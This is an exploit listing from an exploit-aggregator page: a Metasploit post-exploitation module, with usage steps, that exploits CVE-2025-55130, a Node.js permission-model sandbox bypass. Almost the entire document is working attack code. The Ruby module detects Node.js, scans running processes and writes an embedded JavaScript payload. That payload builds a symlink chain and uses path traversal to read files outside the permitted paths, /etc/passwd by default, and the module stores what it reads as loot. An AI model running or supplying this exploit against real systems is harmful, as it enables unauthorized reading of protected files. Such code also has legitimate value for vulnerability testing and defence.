Share
## https://sploitus.com/exploit?id=PACKETSTORM:214989
=============================================================================================================================================
    | # Title     : Node.js 25.x Permission Model Sandbox Bypass via Symlink Path Traversal                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://nodejs.org/en                                                                                                       |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214705/ & CVE-2025-55130
    
    [+] Summary    : This module validates a sandbox escape weakness in the Node.js permission model that allows restricted file access bypass through symlink-based path traversal. 
                     When Node.js is executed with the --permission flag and limited filesystem read/write paths, the permission checks rely on logical paths but fail to revalidate resolved real paths after symlink resolution.
                     As a result, an attacker with local code execution in a Node.js runtime can read files outside the permitted filesystem scope, violating the intended sandbox guarantees. 
    				 This issue does not result in system privilege escalation; instead, it represents a runtime security boundary bypass within Node.js applications that depend on the permission model for isolation.
                     The module is implemented as a post-exploitation verification tool, safely demonstrating the weakness and optionally confirming exploitability without modifying system state.
    
    [+] Usage :
    
    1. Basic Testing:
    
    use post/multi/nodejs/sandbox_bypass
    set SESSION 1
    set TARGET_FILE /etc/passwd
    run
    
    2. With Process Checking:
    
    use post/multi/nodejs/sandbox_bypass
    set SESSION 1
    set SCAN_NODE_PROCESSES true
    set CHECK_PERMISSIONS true
    run
    
    3. Safe Testing Mode:
    
    use post/multi/nodejs/sandbox_bypass
    set SESSION 1
    set TEST_MODE true
    set AUTOREMOVE true
    run
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Post
      include Msf::Post::File
      include Msf::Post::Common
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Node.js Permission Model Sandbox Bypass File Reader',
          'Description'    => %q{
            This module exploits CVE-2025-55130, a Node.js permission model bypass
            vulnerability that allows escaping the --allow-fs-read/write sandbox restrictions
            via symlink path traversal. 
            
            The module must be executed in a Meterpreter session where the target
            system has a vulnerable Node.js installation with permission model enabled.
            It demonstrates sandbox escape by reading arbitrary files from the filesystem
            that should be restricted by the permission model.
            
            Note: This is NOT a privilege escalation exploit. It bypasses Node.js
            permission model sandbox restrictions when Node.js is already running with
            --permission flag. It does not elevate system privileges.
          },
          'License'        => MSF_LICENSE,
          'Author'         => [
            'indoushka'
          ],
          'References'     => [
            ['CVE', '2025-55130'],
            ['URL', 'https://securityonline.info/cve-2025-55130-node-js-permission-model-bypass-sandbox-escape-vulnerability/']
          ],
          'Platform'       => ['nodejs', 'unix', 'linux'],
          'Arch'           => [ARCH_NODEJS, ARCH_X64, ARCH_X86],
          'SessionTypes'   => ['meterpreter', 'shell'],
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'SideEffects' => [ARTIFACTS_ON_DISK],
            'Reliability' => [REPEATABLE_SESSION],
            'Type'        => 'sandbox_escape',
            'AKA'         => ['Node.js Permission Model Bypass']
          }
        ))
    
        register_options([
          OptString.new('TARGET_FILE', [
            true, 
            'File to attempt reading (must be outside allowed paths)',
            '/etc/passwd'
          ]),
          OptString.new('NODE_PATH', [
            false,
            'Path to Node.js executable (auto-detected if not set)',
            ''
          ]),
          OptString.new('ALLOWED_PATH', [
            true,
            'Path that would be allowed in --allow-fs-read/write',
            '/tmp'
          ]),
          OptBool.new('AUTOREMOVE', [
            true,
            'Automatically remove exploit files',
            true
          ]),
          OptString.new('WRITEABLE_DIR', [
            true,
            'Writable directory for exploit files',
            '/tmp'
          ]),
          OptBool.new('CHECK_PERMISSIONS', [
            true,
            'Check if Node.js processes are running with permission model',
            true
          ]),
          OptBool.new('SCAN_NODE_PROCESSES', [
            true,
            'Scan for running Node.js processes with permission flags',
            false
          ])
        ])
    
        register_advanced_options([
          OptBool.new('VERIFY_READ', [
            true,
            'Verify file can be read after exploit',
            true
          ]),
          OptInt.new('EXPLOIT_TIMEOUT', [
            true,
            'Timeout for exploit execution (seconds)',
            30
          ]),
          OptBool.new('TEST_MODE', [
            true,
            'Test mode - create test file instead of reading target',
            false
          ])
        ])
      end
    
      def run
        print_status("Starting Node.js Permission Model Sandbox Bypass Module")
    
        unless session
          fail_with(Failure::BadConfig, "This module requires an active session")
        end
    
        node_path = detect_nodejs
        unless node_path
          fail_with(Failure::NotFound, "Node.js not found on target system")
        end
    
        print_status("Detected Node.js at: #{node_path}")
    
        node_info = check_nodejs_info(node_path)
    
        if datastore['SCAN_NODE_PROCESSES']
          scan_node_processes
        end
    
        unless node_info[:has_permission_model]
          print_warning("Node.js version #{node_info[:version]} may not support permission model")
          print_warning("Exploit requires Node.js with permission model enabled")
          
          unless datastore['CHECK_PERMISSIONS']
            if Rex::Version.new(node_info[:version]) < Rex::Version.new('20.0.0')
              print_warning("Permission model was experimental before Node.js 20")
            end
          end
        end
    
        exploit_dir = create_exploit_dir
        exploit_file = generate_and_upload_exploit(exploit_dir)
    
        execute_exploit(node_path, exploit_file, exploit_dir, node_info)
    
        cleanup_exploit(exploit_dir) if datastore['AUTOREMOVE']
      end
    
      def detect_nodejs
        if datastore['NODE_PATH'].present?
          if file_exist?(datastore['NODE_PATH']) && executable?(datastore['NODE_PATH'])
            return datastore['NODE_PATH']
          else
            print_warning("Provided NODE_PATH does not exist or is not executable")
          end
        end
    
        possible_paths = [
          '/usr/bin/node',
          '/usr/local/bin/node',
          '/opt/homebrew/bin/node',
          '/bin/node',
          'node'
        ]
        
        possible_paths.each do |path|
          if command_exists?(path)
            print_good("Found Node.js at: #{path}")
            return path
          end
        end
        
        nil
      end
      
      def command_exists?(cmd)
        result = cmd_exec("command -v #{cmd} 2>/dev/null")
        result.present? && result.include?(cmd)
      end
      
      def executable?(path)
        result = cmd_exec("test -x '#{path}' && echo 'executable'")
        result.include?('executable')
      end
    
      def check_nodejs_info(node_path)
        print_status("Checking Node.js information...")
        
        info = {
          version: 'unknown',
          has_permission_model: false,
          supports_experimental: false
        }
    
        version_output = cmd_exec("#{node_path} --version")
        if version_output =~ /v(\d+\.\d+\.\d+)/
          info[:version] = $1
          print_status("Node.js version: #{version_output.strip}")
        else
          print_warning("Could not parse Node.js version")
        end
    
        check_cmd = "#{node_path} -e \"console.log(typeof process.permission !== 'undefined' ? 'HAS_PERMISSION_MODEL' : 'NO_PERMISSION_MODEL')\""
        permission_check = cmd_exec(check_cmd)
        
        if permission_check.include?('HAS_PERMISSION_MODEL')
          info[:has_permission_model] = true
          print_good("Node.js has permission model support")
        else
          print_warning("Node.js does not have permission model support or running without --permission flag")
        end
    
        experimental_check = cmd_exec("#{node_path} --experimental-permission --version 2>&1")
        if experimental_check.include?('experimental')
          info[:supports_experimental] = true
          print_status("Node.js supports --experimental-permission flag")
        end
        
        info
      end
    
      def scan_node_processes
        print_status("Scanning for running Node.js processes with permission model...")
    
        ps_cmd = "ps aux | grep -E 'node|nodejs' | grep -v grep"
        processes = cmd_exec(ps_cmd)
        
        if processes.present?
          print_status("Found Node.js processes:")
          print_line(processes)
    
          permission_processes = processes.split("\n").select do |line|
            line.include?('--permission') || line.include?('--experimental-permission') ||
            line.include?('--allow-fs-read') || line.include?('--allow-fs-write')
          end
          
          if permission_processes.any?
            print_good("Found #{permission_processes.count} Node.js process(es) running with permission model:")
            permission_processes.each do |proc|
              print_line("  #{proc}")
            end
    
            permission_processes.each_with_index do |proc, idx|
              pid = proc.split[1]
              cmdline = proc.split[10..-1].join(' ')
              
              print_status("Process #{idx+1}: PID=#{pid}, Command=#{cmdline}")
              proc_cwd = cmd_exec("ls -la /proc/#{pid}/cwd 2>/dev/null")
              if proc_cwd.present?
                print_status("  CWD: #{proc_cwd}")
              end
            end
          else
            print_warning("No Node.js processes found running with permission model flags")
          end
        else
          print_status("No Node.js processes found running")
        end
      end
    
      def create_exploit_dir
        writable_dir = datastore['WRITEABLE_DIR']
        exploit_dir = "#{writable_dir}/.node_sandbox_test_#{Rex::Text.rand_text_alpha(8)}"
        
        print_status("Creating exploit directory: #{exploit_dir}")
        cmd_exec("mkdir -p #{exploit_dir}")
    
        allowed_subdir = "#{exploit_dir}/allowed"
        cmd_exec("mkdir -p #{allowed_subdir}")
        
        exploit_dir
      end
    
      def generate_and_upload_exploit(exploit_dir)
        target_file = datastore['TEST_MODE'] ? "#{exploit_dir}/test_secret.txt" : datastore['TARGET_FILE']
        allowed_path = datastore['ALLOWED_PATH']
    
        if datastore['TEST_MODE']
          test_content = "SECRET_TEST_CONTENT_#{Rex::Text.rand_text_alpha(16)}"
          write_file(target_file, test_content)
          print_status("Created test file: #{target_file}")
        end
        
        exploit_js = <<~JS
          const fs = require('fs');
          const path = require('path');
    
          const TARGET = '#{target_file}';
          const ALLOWED_PATH = '#{allowed_path}';
          const CHAIN = './pwn/a/b/c/d/e/f';
    
          console.log(`
           ===========================================================
            Node.js Permission Model Sandbox Bypass Test by indoushka
           ===========================================================
            Target file:        \${TARGET}
            Allowed path:       \${ALLOWED_PATH}
            Current directory:  \${__dirname}
            Node version:       \${process.version}
           =====================================================
          `);
    
          // Check if permission model is active
          if (typeof process.permission === 'undefined') {
              console.log('[!] PERMISSION MODEL NOT ACTIVE');
              console.log('[!] Node.js must be run with: --permission --allow-fs-read=. --allow-fs-write=.');
              console.log('[!] Without permission model, this is just a symlink test');
              console.log('[!] Continuing test anyway...\\n');
          } else {
              console.log('[+] Permission model is active');
              console.log('[+] Testing sandbox bypass...\\n');
          }
    
          console.log('[*] Creating symlink chain structure...');
    
          try {
              fs.rmSync('./pwn', { recursive: true, force: true });
          } catch(e) {}
    
          fs.mkdirSync(CHAIN, { recursive: true });
          fs.symlinkSync(__dirname, CHAIN + '/link');
    
          const depth = __dirname.split('/').filter(Boolean).length;
          const traversal = '../'.repeat(depth);
          const payload = `\${CHAIN}/link/\${traversal}\${TARGET.replace(/^\\//, '')}`;
          console.log('[*] Symlink chain created');
          console.log('[*] Traversal depth: ' + depth);
          console.log('[*] Payload path: ' + payload);
          console.log('[*] Attempting to read target file...\\n');
    
          try {
              const data = fs.readFileSync(payload, 'utf8');
              console.log('[+] SUCCESS: File read through sandbox bypass!\\n');
              console.log('--- BEGIN FILE CONTENT ---');
              console.log(data);
              console.log('--- END FILE CONTENT ---\\n');
              
              if (typeof process.permission !== 'undefined') {
                  console.log('[+] NODE.JS PERMISSION MODEL BYPASS CONFIRMED');
                  console.log('[+] CVE-2025-55130 is exploitable on this system');
              } else {
                  console.log('[+] Symlink traversal works, but permission model not active');
              }
              
              process.exit(0);
              
          } catch (err) {
              console.log('[-] FAILED to read file');
              console.log('[-] Error: ' + err.code + ' - ' + err.message);
              
              if (err.code === 'ERR_ACCESS_DENIED') {
                  console.log('[-] Permission model blocked access');
                  console.log('[-] System may be patched or not vulnerable');
              } else if (err.code === 'ENOENT') {
                  console.log('[-] Target file does not exist');
              }
              
              process.exit(1);
          }
    
          try {
              fs.rmSync('./pwn', { recursive: true, force: true });
          } catch(e) {}
        JS
    
        exploit_file = "#{exploit_dir}/sandbox_bypass.js"
        write_file(exploit_file, exploit_js)
        cmd_exec("chmod +x #{exploit_file}")
        
        print_status("Exploit script written to: #{exploit_file}")
        exploit_file
      end
    
      def execute_exploit(node_path, exploit_file, exploit_dir, node_info)
        print_status("Executing sandbox bypass test...")
    
        cmd_exec("cd #{exploit_dir}")
    
        flags = '--permission'
        unless node_info[:has_permission_model]
          print_warning("Node.js may not support permission model, trying experimental flag")
          flags = '--experimental-permission' if node_info[:supports_experimental]
        end
    
        allowed_path = "."
     
        exploit_cmd = "#{node_path} #{flags} --allow-fs-read=#{allowed_path} --allow-fs-write=#{allowed_path} #{exploit_file}"
        
        print_status("Running command: #{exploit_cmd}")
        result = cmd_exec(exploit_cmd, datastore['EXPLOIT_TIMEOUT'])
    
        parse_exploit_result(result, exploit_dir)
      end
    
      def parse_exploit_result(result, exploit_dir)
        print_status("Exploit output:")
        print_line(result)
        
        if result.include?('SUCCESS: File read through sandbox bypass!')
          print_good("โœ“ Sandbox bypass successful!")
    
          if result =~ /--- BEGIN FILE CONTENT ---(.*?)--- END FILE CONTENT ---/m
            file_content = $1.strip
            
            print_good("File content read successfully")
    
            loot_name = datastore['TEST_MODE'] ? 'nodejs_sandbox_test' : datastore['TARGET_FILE'].gsub('/', '_')
            
            loot_path = store_loot(
              'nodejs.sandbox.bypass',
              'text/plain',
              session,
              file_content,
              loot_name,
              "Node.js Permission Model Sandbox Bypass - #{datastore['TARGET_FILE']}"
            )
            
            print_good("Content saved to: #{loot_path}")
          end
          
          if result.include?('PERMISSION MODEL BYPASS CONFIRMED')
            print_good(" CVE-2025-55130 confirmed exploitable on this system")
    
            report_vuln(
              host: session.session_host,
              name: 'Node.js Permission Model Sandbox Bypass',
              refs: references,
              info: "Node.js permission model bypass via symlink path traversal (CVE-2025-55130)"
            )
          end
          
        elsif result.include?('Permission model blocked access')
          print_error(" Permission model prevented access - may be patched")
        elsif result.include?('PERMISSION MODEL NOT ACTIVE')
          print_warning(" Permission model not active during test")
          print_warning("This test only confirms symlink traversal works")
          print_warning("To test sandbox bypass, Node.js must run with --permission flag")
        else
          print_error(" Exploit failed or produced unexpected output")
        end
     
        print_status("=" * 60)
        print_status("SUMMARY:")
        print_status("  - Node.js Sandbox Bypass Test Completed")
        print_status("  - Exploit Directory: #{exploit_dir}")
        print_status("  - Target File: #{datastore['TARGET_FILE']}")
        print_status("  - Test Mode: #{datastore['TEST_MODE'] ? 'Enabled' : 'Disabled'}")
        print_status("=" * 60)
      end
    
      def cleanup_exploit(exploit_dir)
        print_status("Cleaning up exploit directory: #{exploit_dir}")
        cmd_exec("rm -rf #{exploit_dir}")
      end
    end
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================